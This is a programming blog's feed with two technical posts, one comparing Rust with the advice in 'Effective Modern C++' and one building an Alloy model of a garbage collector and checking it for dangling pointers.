tag:blogger.com,1999:blog-15636238552201430592024-03-19T00:49:57.853-07:00main is usually a functionchar* main = "usually a programming blog";keeganhttp://www.blogger.com/profile/12227260241426017476noreply@blogger.comBlogger54125tag:blogger.com,1999:blog-1563623855220143059.post-7515609022057167092017-06-21T12:58:00.000-07:002017-06-21T12:58:52.866-07:00A Rust view on Effective Modern C++<p>Recently I've been reading <a href="https://www.amazon.com/Effective-Modern-Specific-Ways-Improve/dp/1491903996/ref=sr_1_1"><em>Effective Modern C++</em></a> by Scott Meyers. It's a great book that contains tons of practical advice, as well as horror stories to astound your friends and confuse your enemies. Since Rust shares many core ideas with modern C++, I thought I'd describe how some of the C++ advice translates to Rust, or doesn't.</p>
<p>This is <em>not</em> a general-purpose Rust / C++ comparison. Honestly, it might not make a lot of sense if you haven't read the book I'm referencing. There are a number of C++ features missing in Rust, for example integer template arguments and advanced template metaprogramming. I'll say no more about those because they aren't new to <em>modern</em> C++.</p>
<p>I may have a clear bias here because I think Rust is a better language for most new development. However, I massively respect the effort the C++ designers have put into modernizing the language, and I think it's still the best choice for many tasks.</p>
<p>There's a common theme that I'll avoid repeating: most of the C++ pitfalls that result in undefined behavior will produce compiler or occasionally runtime errors in Rust.</p>
<h3 id="chapters-1-2-deducing-types-auto">Chapters 1 & 2: Deducing Types / <code>auto</code></h3>
<p>This is what Rust and many other languages call "type inference". C++ has always had it for calls to function templates, but it became much more powerful in C++11 with the <a href="http://en.cppreference.com/w/cpp/language/auto"><code>auto</code> keyword</a>.</p>
<p>Rust's type inference seems to be a lot simpler. I think the biggest reason is that Rust treats references as just another type, rather than the weird quasi-transparent things that they are in C++. Also, Rust doesn't require the <code>auto</code> keyword — whenever you want type inference, you just don't write the type. Rust also lacks <a href="http://en.cppreference.com/w/cpp/utility/initializer_list"><code>std::initializer_list</code></a>, which simplifies the rules further.</p>
<p>The main disadvantage in Rust is that there's no support to infer return types for <code>fn</code> functions, only for lambdas. Mostly I think it's good style to write out those types anyway; GHC Haskell warns when you don't. But it does mean that returning a closure without boxing is impossible, and returning a complex iterator chain without boxing is extremely painful. Rust is starting to improve the situation with <a href="https://github.com/rust-lang/rfcs/blob/master/text/1522-conservative-impl-trait.md"><code>-> impl Trait</code></a>.</p>
<p>Rust lacks <a href="http://en.cppreference.com/w/cpp/language/decltype"><code>decltype</code></a> and this is certainly a limitation. <em>Some</em> of the uses of <code>decltype</code> are covered by <a href="https://doc.rust-lang.org/book/first-edition/associated-types.html">trait associated types</a>. For example,</p>
<div class="sourceCode"><pre class="sourceCode cpp"><code class="sourceCode cpp"><span class="kw">template</span><<span class="kw">typename</span> Container, <span class="kw">typename</span> Index>
<span class="kw">auto</span> get(Container& c, Index i)
-> <span class="kw">decltype</span>(c[i])
{ … }</code></pre></div>
<p>becomes</p>
<div class="sourceCode"><pre class="sourceCode rust"><code class="sourceCode rust"><span class="kw">fn</span> get<Container, Index, Output>(c: &Container, i: Index) -> &Output
<span class="kw">where</span> Container: ops::Index<Index, Output=Output>
{ … }</code></pre></div>
<p>The advice to see inferred types by intentionally producing a type error applies equally well in Rust.</p>
<h3 id="chapter-3-moving-to-modern-c">Chapter 3: Moving to Modern C++</h3>
<p>Initializing values in Rust is much simpler. Constructors are just static methods named by convention, and they take arguments in the ordinary way. For good or for ill, there's no <code>std::initializer_list</code>.</p>
<p><a href="http://en.cppreference.com/w/cpp/language/nullptr"><code>nullptr</code></a> is not an issue in Rust. <code>&T</code> and <code>&mut T</code> can't be null, and you can make null raw pointers with <a href="https://doc.rust-lang.org/std/ptr/fn.null.html"><code>ptr::null()</code></a> or <a href="https://doc.rust-lang.org/std/ptr/fn.null_mut.html"><code>ptr::null_mut()</code></a>. There are no implicit conversions between pointers and integral types.</p>
<p>Regarding aliases vs. typedefs, Rust also supports two syntaxes:</p>
<div class="sourceCode"><pre class="sourceCode rust"><code class="sourceCode rust"><span class="kw">use</span> foo::Bar <span class="kw">as</span> Baz;
<span class="kw">type</span> Baz = foo::Bar;</code></pre></div>
<p><a href="https://doc.rust-lang.org/book/first-edition/type-aliases.html"><code>type</code></a> is a lot more common, and it supports type parameters.</p>
<p>Rust <a href="https://doc.rust-lang.org/book/first-edition/enums.html"><code>enums</code></a> are always strongly typed. They are scoped unless you explicitly <code>use MyEnum::*;</code>. A C-like enum (one with no data fields) can be cast to an integral type.</p>
<p><code>f() = delete;</code> has no equivalent in Rust, because Rust doesn't implicitly define functions for you in the first place.</p>
<p>Similar to the C++ <a href="http://en.cppreference.com/w/cpp/language/override"><code>override</code></a> keyword, Rust requires a <code>default</code> keyword to enable <a href="https://github.com/rust-lang/rfcs/blob/master/text/1210-impl-specialization.md">trait specialization</a>. Unlike in C++, it's mandatory.</p>
<p>As in C++, Rust methods can be declared to take <code>self</code> either by reference or by move. Unlike in C++, you can't easily overload the same method to allow either.</p>
<p>Rust supports const iterators smoothly. It's up to the iterator whether it yields <code>T</code>, <code>&T</code>, or <code>&mut T</code> (or even something else entirely).</p>
<p>The <a href="https://doc.rust-lang.org/std/iter/trait.IntoIterator.html"><code>IntoIterator</code></a> trait takes the place of functions like <a href="http://en.cppreference.com/w/cpp/iterator/begin"><code>std::begin</code></a> that produce an iterator from any collection.</p>
<p>Rust has no equivalent to <a href="http://en.cppreference.com/w/cpp/language/noexcept"><code>noexcept</code></a>. Any function can panic, unless panics are disabled globally. This is pretty unfortunate when writing <code>unsafe</code> code to implement data types that have to be exception-safe. However, <em>recoverable</em> errors in Rust use <a href="https://doc.rust-lang.org/std/result/enum.Result.html"><code>Result</code></a>, which <em>is</em> part of the function's type.</p>
<p>Rust supports a limited form of compile-time evaluation, but it's not yet nearly as powerful as C++14 <a href="http://en.cppreference.com/w/cpp/language/constexpr"><code>constexpr</code></a>. This is set to improve with the introduction of <a href="https://github.com/solson/miri">miri</a>.</p>
<p>In Rust you mostly don't have to worry about "making <code>const</code> member functions thread safe". If something is shared between threads, the compiler will ensure it's free of thread-related undefined behavior. (This to me is one of the coolest features of Rust!) However, you might run into higher-level issues such as deadlocks that Rust's type system can't prevent.</p>
<p>There are no special member functions in Rust, e.g. copy constructors. If you want your type to be <a href="https://doc.rust-lang.org/std/clone/trait.Clone.html"><code>Clone</code></a> or <a href="https://doc.rust-lang.org/std/marker/trait.Copy.html"><code>Copy</code></a>, you have to opt-in with a <a href="https://doc.rust-lang.org/book/first-edition/traits.html#deriving"><code>derive</code></a> or a manual <code>impl</code>.</p>
<h3 id="chapter-4-smart-pointers">Chapter 4: Smart Pointers</h3>
<p>Smart pointers are very important in Rust, as in modern C++. Much of the advice in this chapter applies directly to Rust.</p>
<p><a href="http://en.cppreference.com/w/cpp/memory/unique_ptr"><code>std::unique_ptr</code></a> corresponds directly to Rust's <a href="https://doc.rust-lang.org/std/boxed/struct.Box.html"><code>Box</code></a> type. However, <code>Box</code> doesn't support custom deallocation code. If you need that, you have to either make it part of <a href="https://doc.rust-lang.org/book/first-edition/drop.html"><code>impl Drop</code></a> on the underlying type, or write your own smart pointer. <code>Box</code> also does not support custom allocators.</p>
<p><a href="http://en.cppreference.com/w/cpp/memory/shared_ptr"><code>std::shared_ptr</code></a> corresponds to Rust's <a href="https://doc.rust-lang.org/std/sync/struct.Arc.html"><code>Arc</code></a> type. Both provide thread-safe reference counting. Rust also supports much faster thread-local refcounting with the <a href="https://doc.rust-lang.org/std/rc/struct.Rc.html"><code>Rc</code></a> type. Don't worry, the compiler will complain if you try to send an <code>Rc</code> between threads.</p>
<p>C++ standard libraries usually implement <code>shared_ptr</code> as a "fat pointer" containing both a pointer to the underlying value and a pointer to a refcount struct. Rust's <code>Rc</code> and <code>Arc</code> store the refcounts directly before the value in memory. This means that <code>Rc</code> and <code>Arc</code> are half the size of <code>shared_ptr</code>, and may perform better due to fewer indirections. On the downside, it means you can't upgrade <code>Box</code> to <code>Rc</code>/<code>Arc</code> without a reallocation and copy. It could also introduce performance problems on certain workloads, due to cache line sharing between the refcounts and the data. (I would love to hear from anyone who has run into this!) Boost supports <code>intrusive_ptr</code> which should perform very similarly to Rust's <code>Arc</code>.</p>
<p>Like <code>Box</code>, <code>Rc</code> and <code>Arc</code> don't support custom deleters or allocators.</p>
<p>Rust supports weak pointer variants of both <code>Rc</code> and <code>Arc</code>. Rather than panicing or returning <code>NULL</code>, the "upgrade" operation returns <code>None</code>, as you'd expect in Rust.</p>
<h3 id="chapter-5-rvalue-references-move-semantics-and-perfect-forwarding">Chapter 5: Rvalue References, Move Semantics, and Perfect Forwarding</h3>
<p>This is a big one. Move semantics are rare among programming languages, but they're key in both Rust and C++. However, the two languages take very different approaches, owing to the fact that Rust was designed around moves whereas they're a late addition to C++.</p>
<p>There's no <a href="http://en.cppreference.com/w/cpp/utility/move"><code>std::move</code></a> in Rust. Moves are the default for non-<code>Copy</code> types. The behavior of a move or copy is <em>always</em> a shallow bit-wise copy; there is no way to override it. This can greatly improve performance. For example, when a Rust <a href="https://doc.rust-lang.org/std/vec/struct.Vec.html"><code>Vec</code></a> changes address due to resizing, it will use a highly optimized <a href="http://en.cppreference.com/w/cpp/string/byte/memcpy"><code>memcpy</code></a>. In comparison, C++'s <a href="http://en.cppreference.com/w/cpp/container/vector"><code>std::vector</code></a> has to call the move constructor on every element, or the copy constructor <a href="http://en.cppreference.com/w/cpp/utility/move_if_noexcept">if there's no <code>noexcept</code> move constructor</a>.</p>
<p>However the inability to hook moves and the difficulty of creating immovable types is an obstacle for certain kinds of advanced memory management, such as intrusive pointers and interacting with external garbage collectors.</p>
<p>Moves in C++ leave the source value in an unspecified but valid state — for example, an empty vector or a <code>NULL</code> unique pointer. This has several weird consequences:</p>
<ul>
<li>A move counts as mutating a source variable, so "Move requests on <code>const</code> objects are silently transformed into copy operations". This is a surprising performance leak.</li>
<li>The moved-out-of variable can still be used after the move, and you don't necessarily know what you'll get.</li>
<li>The destructor will still run and must take care not to invoke undefined behavior.</li>
</ul>
<p>The first two points don't apply in Rust. You can move out of a non-<code>mut</code> variable. The value isn't considered mutated, it's considered <em>gone</em>. And the compiler will complain if you try to use it after the move.</p>
<p>The third point is somewhat similar to old Rust, where types with a destructor would contain an implicit "drop flag" indicating whether they had already been moved from. As of <a href="https://blog.rust-lang.org/2016/09/29/Rust-1.12.html">Rust 1.12 (September 2016)</a>, these hidden struct fields are gone, and good riddance! If a variable has been moved from, the compiler simply omits a call to its destructor. In the situations where a value may or may not have been moved (e.g. move in an <code>if</code> branch), Rust uses local variables on the stack.</p>
<p>Rust doesn't have a feature for perfect forwarding. There's no need to treat references specially, as they're just another type. Because there are no rvalue references in Rust, there's also no need for universal / forwarding references, and no <a href="http://en.cppreference.com/w/cpp/utility/forward"><code>std::forward</code></a>.</p>
<p>However, Rust lacks <a href="http://eli.thegreenplace.net/2014/variadic-templates-in-c/">variadic generics</a>, so you can't do things like "factory function that forwards all arguments to constructor".</p>
<p>Item 29 says "Assume that move operations are not present, not cheap, and not used". I find this quite dispiriting! There are so many ways in C++ to think that you're moving a value when you're actually calling an expensive copy constructor — and compilers won't even warn you!</p>
<p>In Rust, moves are <em>always</em> available, always as cheap as <code>memcpy</code>, and always used when passing by value. <code>Copy</code> types don't have move semantics, but they act the same at runtime. The only difference is whether the static checks allow you to use the source location afterwards.</p>
<p>All in all, moves in Rust are more ergonomic and less surprising. Rust's treatment of moves should also perform better, because there's no need to leave the source object in a valid state, and there's no need to call move constructors on individual elements of a collection. (But can we benchmark this?)</p>
<p>There's a bunch of other stuff in this chapter that doesn't apply to Rust. For example, "The interaction among perfect-forwarding constructors and compiler-generated copy and move operations develops even more wrinkles when inheritance enters the picture." This is the kind of sentence that will make me run away screaming. Rust doesn't have <em>any</em> of those features, gets by fine without them, and thus avoids such bizarre interactions.</p>
<h3 id="chapter-6-lambda-expressions">Chapter 6: Lambda Expressions</h3>
<p>C++ allows closures to be copied; Rust doesn't.</p>
<p>In C++ you can specify whether a lambda expression's captures are taken into the closure by reference or by value, either individually or for all captures at once. In Rust this is mostly inferred by how you use the captures: whether they are mutated, and whether they are moved from. However, you can prefix the <a href="https://doc.rust-lang.org/book/first-edition/closures.html#move-closures"><code>move</code> keyword</a> to force all captures to be taken by value. This is useful when the closure itself will outlive its environment, common when spawning threads for example.</p>
<p>Rust uses this inference for another purpose: determining which <code>Fn*</code> traits a closure will implement. If the lambda body moves out of a capture, it can only implement <a href="https://doc.rust-lang.org/std/ops/trait.FnOnce.html"><code>FnOnce</code></a>, whose "call" operator takes <code>self</code> by value. If it doesn't move but does mutate captures, it will implement <code>FnOnce</code> and <a href="https://doc.rust-lang.org/std/ops/trait.FnMut.html"><code>FnMut</code></a>, whose "call" takes <code>&mut self</code>. And if it neither moves nor mutates, it will implement all of <code>FnOnce</code>, <code>FnMut</code>, and <a href="https://doc.rust-lang.org/std/ops/trait.Fn.html"><code>Fn</code></a>. C++ doesn't have traits (yet) and doesn't distinguish these cases. If your lambda moves from a capture, you can call it again and you'll see whatever "empty" value was left behind by the move constructor.</p>
<p>Rust doesn't support init capture; however, move capture is supported natively. You can do whatever init you like outside the lambda and then move the result in.</p>
<p>Like C++, Rust allows inference of closure parameter types. Unlike C++, an individual closure cannot be generic.</p>
<h3 id="chapter-7-the-concurrency-api">Chapter 7: The Concurrency API</h3>
<p>Rust doesn't have futures in the standard library; they're part of <a href="https://crates.io/crates/futures">an external library</a> maintained by a core Rust developer. They're also used for <a href="https://github.com/tokio-rs/tokio">async I/O</a>.</p>
<p>In C++, dropping a <a href="http://en.cppreference.com/w/cpp/thread/thread"><code>std::thread</code></a> that is still running terminates the program, which certainly seems un-fun to me. The behavior is justified by the possibility that the thread captures by reference something from its spawning context. If the thread then outlived that context, it would result in undefined behavior. In Rust, this can't happen because <a href="https://doc.rust-lang.org/std/thread/fn.spawn.html"><code>thread::spawn(f)</code></a> has a <code>'static</code> bound on the type of <code>f</code>. So, when a Rust <a href="https://doc.rust-lang.org/std/thread/struct.JoinHandle.html"><code>JoinHandle</code></a> falls out of scope, the thread is safely detached and continues to run.</p>
<p>The other possibility, in either language, is to join threads on drop, waiting for the thread to finish. However this has surprising performance implications and <a href="https://github.com/rust-lang/rust/issues/24292">still isn't enough</a> to allow threads to safely borrow from their spawning environment. Such "scoped threads" are provided by <a href="http://aturon.github.io/crossbeam-doc/crossbeam/fn.scope.html">libraries in Rust</a> and use a different technique to ensure safety.</p>
<p>C++ and Rust both provide atomic variables. In C++ they support standard operations such as assignment, <code>++</code>, and atomic reads by conversion to the underlying type. These all use the "sequentially consistent" <a href="http://en.cppreference.com/w/cpp/atomic/memory_order">memory ordering</a>, which provides the strongest guarantees. Rust is more explicit, using dedicated methods like <code>fetch_add</code> which also specify the <a href="https://doc.rust-lang.org/std/sync/atomic/enum.Ordering.html">memory ordering</a>. (This kind of API is also available in C++.)</p>
<p>This chapter also talks about the C++ type qualifier <a href="http://en.cppreference.com/w/cpp/language/cv"><code>volatile</code></a>, even though it has to do with stuff like memory-mapped I/O and not threads. Rust doesn't have volatile types; instead, a volatile read or write is done using an <a href="https://doc.rust-lang.org/std/ptr/fn.read_volatile.html">intrinsic function</a>.</p>
<h3 id="chapter-8-tweaks">Chapter 8: Tweaks</h3>
<p>Rust containers don't have methods like <a href="http://en.cppreference.com/w/cpp/container/vector/emplace_back"><code>emplace_back</code></a>. You can however use the experimental <a href="https://github.com/rust-lang/rust/issues/27779">placement-new feature</a>.</p>
<h3 id="conclusions">Conclusions</h3>
<p>Rust and C++ share many features, allowing a detailed comparison between them. Rust is a much newer design that isn't burdened with 20 years of backwards compatibility. This I think is why Rust's versions of these core features tend to be simpler and easier to reason about. On the other hand, Rust gains some complexity by enforcing strong static guarantees.</p>
<p>There are of course some differences of principle, not just historical quirks. C++ has an object system based on classes and inheritance, even allowing multiple inheritance. There's no equivalent in Rust. Rust also prefers simple and explicit semantics, while C++ allows a huge amount of implicit behavior. You see this for example with implicit copy construction, implicit conversions, ad-hoc function overloading, quasi-transparent references, and the operators on <code>atomic</code> values. There are still some implicit behaviors in Rust, but they're carefully constrained. Personally I prefer Rust's explicit style; I find there are too many cases where C++ doesn't "do what I mean". But other programmers may disagree, and that's fine.</p>
<p>I hope and expect that C++ and Rust will converge on similar feature-sets. C++ is scheduled to get <a href="http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2016/p0142r0.pdf">a proper module system</a>, <a href="http://en.cppreference.com/w/cpp/language/constraints">a "concepts" system similar to traits</a>, and <a href="https://isocpp.org/blog/2015/09/bjarne-stroustrup-announces-cpp-core-guidelines">a subset with statically-checkable memory safety</a>. Rust will eventually have <a href="https://github.com/rust-lang/rfcs/issues/1038">integer generics</a>, <a href="https://github.com/rust-lang/rfcs/issues/376">variadic generics</a>, and more powerful <code>const fn</code>. It's an exciting time for both languages :)</p>
keeganhttp://www.blogger.com/profile/12227260241426017476noreply@blogger.com521tag:blogger.com,1999:blog-1563623855220143059.post-33531669771165967922015-05-03T14:21:00.000-07:002015-05-03T14:21:03.650-07:00Modeling garbage collectors with Alloy: part 1<p>Formal methods for software verification are usually seen as a high-cost tool that you would only use on the most critical systems, and only after extensive informal verification. The <a href="http://alloy.mit.edu/alloy/">Alloy</a> project aims to be something completely different: a lightweight tool you can use at any stage of everyday software development. With just a few lines of code, you can build a simple model to explore design issues and corner cases, even before you've started writing the implementation. You can gradually make the model more detailed as your requirements and implementation get more complex. After a system is deployed, you can keep the model around to evaluate future changes at low cost.</p>
<p>Sounds great, doesn't it? I have only a tiny bit of prior experience with Alloy and I wanted to try it out on something more substantial. In this article we'll build a simple model of a <a href="http://en.wikipedia.org/wiki/Tracing_garbage_collection">garbage collector</a>, visualize its behavior, and fix some problems. This is a warm-up for exploring more complex GC algorithms, which will be the subject of future articles.</p>
<p>I won't describe the Alloy syntax in full detail, but you should be able to follow along if you have some background in programming and logic. See also the <a href="http://alloy.mit.edu/alloy/documentation.html">Alloy documentation</a> and especially the book <a href="http://www.amazon.com/Software-Abstractions-Logic-Language-Analysis/dp/0262017156/ref=sr_1_1"><em>Software Abstractions: Logic, Language, and Analysis</em></a> by Daniel Jackson, which is a very practical and accessible introduction to Alloy. It's a highly recommended read for any software developer.</p>
<p>You can <a href="http://alloy.mit.edu/alloy/download.html">download Alloy</a> as a self-contained Java executable, which can do analysis and visualization and includes an editor for Alloy code.</p>
<h1 id="the-model">The model</h1>
<p>We will start like so:</p>
<pre><code class="sourceCode"><span class="kw">open</span> util/ordering [State]
<span class="kw">sig</span> Object { }
<span class="kw">one</span> <span class="kw">sig</span> Root <span class="kw">extends</span> Object { }
<span class="kw">sig</span> State {
pointers: Object -> <span class="kw">set</span> Object,
collected: <span class="kw">set</span> Object,
}</code></pre>
<p>The garbage-collected heap consists of <code>Object</code>s, each of which can point to any number of other <code>Object</code>s (including itself). There is a distinguished object <code>Root</code> which represents everything that's accessible <em>without</em> going through the heap, such as global variables and the function call stack. We also track which objects have already been garbage-collected. In a real implementation these would be candidates for re-use; in our model they stick around so that we can detect use-after-free.</p>
<p>The <code>open</code> statement invokes a library module to provide a total ordering on <code>State</code>s, which we will interpret as the progression of time. More on this later.</p>
<h1 id="relations">Relations</h1>
<p>In the code that follows, it may look like Alloy has lots of different data types, overloading operators with total abandon. In fact, all these behaviors arise from an exceptionally simple data model:</p>
<blockquote>
<p>Every value is a <a href="http://en.wikipedia.org/wiki/Finitary_relation"><em>relation</em></a>; that is, a set of tuples of the same non-zero length.</p>
</blockquote>
<p>When each tuple has length 1, we can view the relation as a set. When each tuple has length 2, we can view it as a <a href="http://en.wikipedia.org/wiki/Binary_relation">binary relation</a> and possibly as a function. And a singleton set is viewed as a single atom or tuple.</p>
<p>Since everything in Alloy is a relation, each operator has a single definition in terms of relations. For example, the operators <code>.</code> and <code>[]</code> are syntax for a flavor of <a href="http://en.wikipedia.org/wiki/Relational_algebra#Joins_and_join-like_operators">relational join</a>. If you think of the underlying relations as a database, then Alloy's clever syntax amounts to an <a href="http://en.wikipedia.org/wiki/Object-relational_mapping">object-relational mapping</a> that is at once very simple and very powerful. Depending on context, these joins can look like field access, function calls, or data structure lookups, but they are all described by the same underlying framework.</p>
<p>The elements of the tuples in a relation are <em>atoms</em>, which are indivisible and have no meaning individually. Their meaning comes entirely from the relations and properties we define. Ultimately, atoms all live in the same universe, but Alloy gives "warnings" when the type system implied by the <code>sig</code> declarations can prove that an expression is always the empty relation.</p>
<p>Here are the relations implied by our GC model, as tuple sets along with their types:</p>
<pre><code class="sourceCode">Object: {Object} = {O1, O2, ..., Om}
Root: {Root} = {Root}
State: {State} = {S1, S2, ..., Sn}
pointers: {(State, Object, Object)}
collected: {(State, Object)}
first: {State} = {S1}
last: {State} = {Sn}
next: {(State, State)} = {(S1, S2), (S2, S3), ..., (S(n-1), Sn)}</code></pre>
<p>The last three relations come from the <code>util/ordering</code> library. Note that a <code>sig</code> implicitly creates some atoms.</p>
<h1 id="dynamics">Dynamics</h1>
<p>The live objects are everything reachable from the root:</p>
<pre><code class="sourceCode"><span class="kw">fun</span> live(s: State): <span class="kw">set</span> Object {
Root.*(s.pointers)
}</code></pre>
<p><code>*(s.pointers)</code> constructs the <a href="http://en.wikipedia.org/wiki/Reflexive_closure">reflexive</a>, <a href="http://en.wikipedia.org/wiki/Transitive_closure">transitive</a> closure of the binary relation <code>s.pointers</code>; that is, the set of objects reachable from each object.</p>
<p>Of course the GC is only part of a system; there's also the code that actually uses these objects, which in GC terminology is called the <em>mutator</em>. We can describe the action of each part as a predicate relating "before" and "after" states.</p>
<pre><code class="sourceCode"><span class="kw">pred</span> mutate(s, t: State) {
t.collected = s.collected
t.pointers != s.pointers
<span class="kw">all</span> a: Object - t.live |
t.pointers[a] = s.pointers[a]
}
<span class="kw">pred</span> gc(s, t: State) {
t.pointers = s.pointers
t.collected = s.collected + (Object - s.live)
<span class="kw">some</span> t.collected - s.collected
}</code></pre>
<p>The mutator cannot collect garbage, but it can change the pointers of any live object. The GC doesn't touch the pointers, but it collects any dead object. In both cases we require that <em>something</em> changes in the heap.</p>
<p>It's time to state the overall facts of our model:</p>
<pre><code class="sourceCode"><span class="kw">fact</span> {
<span class="kw">no</span> first.collected
first.pointers = Root -> (Object - Root)
<span class="kw">all</span> s: State - last |
<span class="kw">let</span> t = s.next |
mutate[s, t] <span class="kw">or</span> gc[s, t]
}</code></pre>
<p>This says that in the initial state, no object has been collected, and every object is in the root set except <code>Root</code> itself. This means we don't have to model allocation as well. Each state except the last must be followed by a mutator step or a GC step.</p>
<p>The syntax <code>all x: e | P</code> says that the property <code>P</code> must hold for every tuple <code>x</code> in <code>e</code>. Alloy supports a variety of quantifiers like this.</p>
<h1 id="interacting-with-alloy">Interacting with Alloy</h1>
<p>The development above looks nice and tidy — I hope — but in reality, it took a fair bit of messing around to get to this point. Alloy provides a highly interactive development experience. At any time, you can visualize your model as a collection of concrete examples. Let's do that now by adding these commands:</p>
<pre><code class="sourceCode"><span class="kw">pred</span> Show {}
<span class="kw">run</span> Show <span class="kw">for</span> 5</code></pre>
<p>Now we select this predicate from the "Execute" menu, then click "Show". The visualizer provides many options to customise the display of each atom and relation. The <a href="https://raw.githubusercontent.com/kmcallister/gc-models/master/simple/gc.thm">config that I made</a> for this project is "projected over <code>State</code>", which means you see a graph of the heap at one moment in time, with forward/back buttons to reach the other <code>State</code>s.</p>
<p>After clicking around a bit, you may notice some oddities:</p>
<div class="figure">
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJ_9b-s79d3J12QKe2ag1hWYwBNUYw15aUl_Wg0amFQs3Jjy0vSTlvylG-kd2XccfTggMLNeQRGJyYxD4fHdrpt-4rZ8_ReMwkaPs_r77f5FmNexbG4v7meoIXnfd179DsbA9QlSrx6sbf/s1600/ptr-to-root.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJ_9b-s79d3J12QKe2ag1hWYwBNUYw15aUl_Wg0amFQs3Jjy0vSTlvylG-kd2XccfTggMLNeQRGJyYxD4fHdrpt-4rZ8_ReMwkaPs_r77f5FmNexbG4v7meoIXnfd179DsbA9QlSrx6sbf/s320/ptr-to-root.png" alt="Diagram of a heap with an object pointing to the root" /></a></div>
</div>
<p>The root isn't a heap object; it represents all of the pointers that are reachable <em>without</em> accessing the heap. So it's meaningless for an object to point to the root. We can exclude these cases from the model easily enough:</p>
<pre><code class="sourceCode"><span class="kw">fact</span> {
<span class="kw">all</span> s: State | <span class="kw">no</span> s.pointers.Root
}</code></pre>
<p>(This can also be done more concisely as part of the original <code>sig</code>.)</p>
<p>Now we're ready to check the essential safety property of a garbage collector:</p>
<pre><code class="sourceCode"><span class="kw">assert</span> no_dangling {
<span class="kw">all</span> s: State | <span class="kw">no</span> (s.collected & s.live)
}
<span class="kw">check</span> no_dangling <span class="kw">for</span> 5 Object, 10 State</code></pre>
<p>And Alloy says:</p>
<pre><code>Executing "Check no_dangling for 5 Object, 10 State"
...
8338 vars. 314 primary vars. 17198 clauses. 40ms.
Counterexample found. Assertion is invalid. 14ms.</code></pre>
<p>Clicking "Counterexample" brings up the visualization:</p>
<div class="figure">
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjW5pNQqNWjXnmwUTB688U1fWTLUBlNR_abXdw9PpLjSca97fHWduLsiCtLQz0OA4Aosw0IENrEcg5ibAfQFJFtk_v2ojg2zWkRNxKCEVg_9Aq8xxN6_3HrP8QIkdM4fLMOsB8p1kIs7Lg0/s1600/write-dead.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjW5pNQqNWjXnmwUTB688U1fWTLUBlNR_abXdw9PpLjSca97fHWduLsiCtLQz0OA4Aosw0IENrEcg5ibAfQFJFtk_v2ojg2zWkRNxKCEVg_9Aq8xxN6_3HrP8QIkdM4fLMOsB8p1kIs7Lg0/s640/write-dead.png" alt="Diagram of four states. A single heap object is unrooted, then collected, but then the root grows a new pointer to it!"/></a></div>
</div>
<p>Whoops, we forgot to say that only pointers to live objects can be stored! We can fix this by modifying the <code>mutate</code> predicate:</p>
<pre><code class="sourceCode"><span class="kw">pred</span> mutate(s, t: State) {
t.collected = s.collected
t.pointers != s.pointers
<span class="kw">all</span> a: Object - t.live |
t.pointers[a] = s.pointers[a]
<span class="co">// new requirement!</span>
<span class="kw">all</span> a: t.live |
t.pointers[a] <span class="kw">in</span> s.live
}</code></pre>
<p>With the result:</p>
<pre><code>Executing "Check no_dangling for 5 Object, 10 State"
...
8617 vars. 314 primary vars. 18207 clauses. 57ms.
No counterexample found. Assertion may be valid. 343ms.
</code></pre>
<h1 id="sat-solvers-and-bounded-model-checking">SAT solvers and bounded model checking</h1>
<p>"May be" valid? Fortunately this has a specific meaning. We asked Alloy to look for counterexamples involving at most 5 objects and 10 time steps. This bounds the search for counterexamples, but it's still vastly more than we could ever check by exhaustive brute force search. (See where it says "8617 vars"? Try raising 2 to that power.) Rather, Alloy turns the bounded model into a Boolean formula, and feeds it to a <a href="http://en.wikipedia.org/wiki/Boolean_satisfiability_problem#Algorithms_for_solving_SAT">SAT solver</a>.</p>
<p>This all hinges on one of the weirdest things about computing in the 21st century. In complexity theory, SAT (along with many equivalents) is the prototypical "hardest problem" in NP. Why do we intentionally convert our problem into an instance of this "hardest problem"? I guess for me it illustrates a few things:</p>
<ul class="incremental">
<li><p>The huge gulf between worst-case complexity (the subject of classes like NP) and average or "typical" cases that we encounter in the real world. For more on this, check out <a href="http://blog.computationalcomplexity.org/2004/06/impagliazzos-five-worlds.html">Impagliazzo's "Five Worlds" paper</a>.</p></li>
<li><p>The fact that real-world difficulty involves a <a href="http://en.wikipedia.org/wiki/Coordination_game">coordination game</a>. SAT solvers got so powerful because everyone agrees SAT is <em>the</em> problem to solve. Standard input formats and public competitions were a key part of the amazing progress over the past decade or two.</p></li>
</ul>
<p>Of course SAT solvers aren't <em>quite</em> omnipotent, and Alloy can quickly get overwhelmed when you scale up the size of your model. Applicability to the real world depends on the <em>small scope hypothesis</em>:</p>
<blockquote>
<p>If an assertion is invalid, it probably has a small counterexample.</p>
</blockquote>
<p>Or equivalently:</p>
<blockquote>
<p>Systems that fail on large instances almost always fail on small instances with similar properties.</p>
</blockquote>
<p>This is far from a sure thing, but it already underlies a lot of approaches to software testing. With Alloy we have the certainty of proof <em>within</em> the size bounds, so we don't have to resort to massive scale to find rare bugs. It's difficult (but not impossible!) to imagine a GC algorithm that absolutely cannot fail on fewer than 6 nodes, but is buggy for larger heaps. <em>Implementations</em> will often fall over at some arbitrary resource limit, but algorithms and models are more abstract.</p>
<h1 id="conclusion">Conclusion</h1>
<p>It's not surprising that our correctness property</p>
<pre><code class="sourceCode"><span class="kw">all</span> s: State | <span class="kw">no</span> (s.collected & s.live)</code></pre>
<p>holds, since it's practically a restatement of the garbage collection "algorithm":</p>
<pre><code class="sourceCode">t.collected = s.collected + (Object - s.live)</code></pre>
<p>Because reachability is built into Alloy, via transitive closure, the simplest model of a garbage collector does not really describe an implementation. In the next article we'll look at <em>incremental</em> garbage collection, which breaks the reachability search into small units and allows the mutator to run in-between. This is highly desirable for interactive or real-time apps; it also complicates the algorithm quite a bit. We'll use Alloy to uncover some of these complications.</p>
<p>In the meantime, you can play around with the simple GC model and ask Alloy to visualize any scenario you like. For example, we can look at runs where the final state includes at least 5 pointers, and at least one collected object:</p>
<pre><code class="sourceCode"><span class="kw">pred</span> Show {
#(last.pointers) >= 5
<span class="kw">some</span> last.collected
}
<span class="kw">run</span> Show <span class="kw">for</span> 5</code></pre>
